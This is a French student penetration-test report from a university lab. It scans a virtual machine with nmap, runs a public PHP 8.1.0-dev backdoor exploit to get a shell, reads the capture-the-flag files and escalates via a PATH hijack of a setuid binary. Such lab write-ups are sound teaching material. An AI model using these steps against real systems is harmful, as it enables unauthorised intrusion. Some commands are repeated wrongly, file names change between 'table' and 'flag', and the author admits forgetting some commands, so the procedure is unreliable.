Rapport Cybersécurité Morgan Salhi

Objectif : Atteindre le pc de la victime pour accéder aux fichiers ‘user_table.txt’ ainsi que ‘root_table.txt’.

Ce pentest a été réalisé avec l’accord de Monsieur Thomas PROVOST à l’IUT de Sophia Antipolis en R&T

Etape 1 :

Tout d’abord nous commençons par installer ‘net-tools’ via la commande ‘apt install net-tools', cela nous permet d’avoir ‘nmap’. Ensuite nous pouvons également télécharger l’application Burp qui nous permettra d’observer ce qui se trame dans le réseau.

Nous pouvons maintenant faire la commande suivante dans le terminal :

‘nmap -sn 192.168.56.0/24’ ce qui nous permet de détecter l’adresse ip de la victime, qui est : ‘192.168.56.105’

Maintenant que nous avons l’adresse ip de la victime nous pouvons faire la commande suivante : ‘nmap -sn 192.168.56.0/24’

Celle-ci nous montre les ports qui sont ouverts :

```
TRACEROUTE
HOP RTT     ADDRESS
1   0.28 ms 192.168.56.100

Nmap scan report for 192.168.56.105
Host is up (0.00060s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE    VERSION
25/tcp   open  smtp-proxy Python SMTP Proxy 0.3
|_smtp-commands: debian-TD1, SIZE 33554432, 8BITMIME, HELP
2222/tcp open  ssh        OpenSSH 6.0p1 Debian 4+deb7u2 (protocol 2.0)
| ssh-hostkey:
|   2048 9f593233e75baf4ca9ae41e1002ec916 (RSA)
|   256 d36b7e1302dde5ca4149652224b22082 (ECDSA)
|_  256 1f9b3b972c528ff5a535568b4b611a41 (ED25519)
8080/tcp open  http       PHP cli server 5.5 or later (PHP 8.1.0-dev)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 08:00:27:5A:E0:CE (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
```

Comme nous pouvons le voir ci-dessous, les ports 25 (smtp), 2222 ssh et 8080 http sont ouverts. Nous allons donc profiter de ces ports ouverts pour avancer dans notre pentest.

Etape 2 :

Nous lançons Burp en faisant les réglages adéquats puis nous nous dirigeons vers le navigateur internet afin de faire la recherche suivante : '192.168.56.105:8080'. Cette recherche nous emmène sur un site demandant un login et un password. Grâce à Burp, nous avons capturer la requête lorsque nous nous sommes connectés sur le site.

Login:

Password:

login

Grâce à ce qu'a capturé Burp, nous pouvons les différentes requêtes mais également le code http du site, et lorsque nous jetons un œil à l'en-tête, nous y voyons que le code contient la version de php dans l'en-tête utilisé pour la page web. La version en question est php 8.1.0-dev.

Etape 3 :

Grâce à cette version nous allons donc chercher un exploit de cette version de php sur internet. J'ai personnellement consulté le site suivant pour continuer mon pentest :

https://github.com/flast101/php-8.1.0-dev-backdoor-rce

Puis j'ai téléchargé l'élément suivant : backdoor_php_8.1.0-dev.py

Une fois ce fichier téléchargé, nous nous rendons dans le terminal afin d'exécuter celui-ci en faisant la commande suivante : 'python3 backdoor_php_8.1.0-dev.py'

Une fois exécuté, nous rentrons dans l'interface du script python qui nous demande l'url de l'hôte nous tapons donc : 'http://192.168.56.105:8080' et cette commande là nous amène donc directement à l'intérieur de la victime, cela peut se vérifier en tapant la commande 'ls' ce qui affichera tout le contenue de la victime.

```
Enter the host url:
http://192.168.56.105:8080

Interactive shell is opened on http://192.168.56.105:8080
Can't acces tty; job crontol turned off.
$ ls
cowrie
libcrypto.so.1.1
libssl.so.1.1
mailoney
php
php-root
processes.sh
root_flag.txt
runasroot
runasroot.c
user_flag.txt
var
```

Etant donné que l'objectif était de connaître l'objectif de 'user_flag.txt' et 'root_flag.txt' nous réalisons les commandes suivantes : 'cat user_flag.txt' ainsi que 'cat root_flag.txt'. Nous avons un résultat avec la commande pour 'user_flag.txt' mais aucun pour 'root_flag.txt'. Nous en déduisons donc que nous n'avons pas les droits suffisant pour l'ouvrir.

```
$ cat user_flag.txt
JekQ5ZRJxv5Ce33yMjg5hkqWQCobCr
```

Etape 4 :

Afin d'obtenir les droits suffisant pour lire ce fichier, nous devons modifier le fichier 'whoami' en créant un double de celui-ci et en lui octroyant tous les droits en faisant les commandes suivantes : ' touch whoami' et 'ch mod +x whoami'. Maintenant que le fichier a été créé et que les droits lui ont été accordés, nous devons modifier le chemin dans lequel 'runasroot' va chercher les programmes.

Il faut tout d'abord modifier le chemin en faisant : 'PATH=/tmp', puis d'autres commandes que j'ai oubliées, mais le tout fait que le chemin qui va être emprunté sera le nouveau que l'on aura défini et que désormais nous avons le contenue de 'root_table.txt'

```
user@debian-TD1:/app$ PATH=/tmp ./runasroot
jqFLiG5L9MW4gSX9kC4AkGbr22FEWf
```

Conclusion :

Nous avons donc réussi ce pentest en passant par l'un des ports ouverts de la victime puis en utilisant une faille de sécurité dans la version du langage utilisé pour finalement atteindre son pc.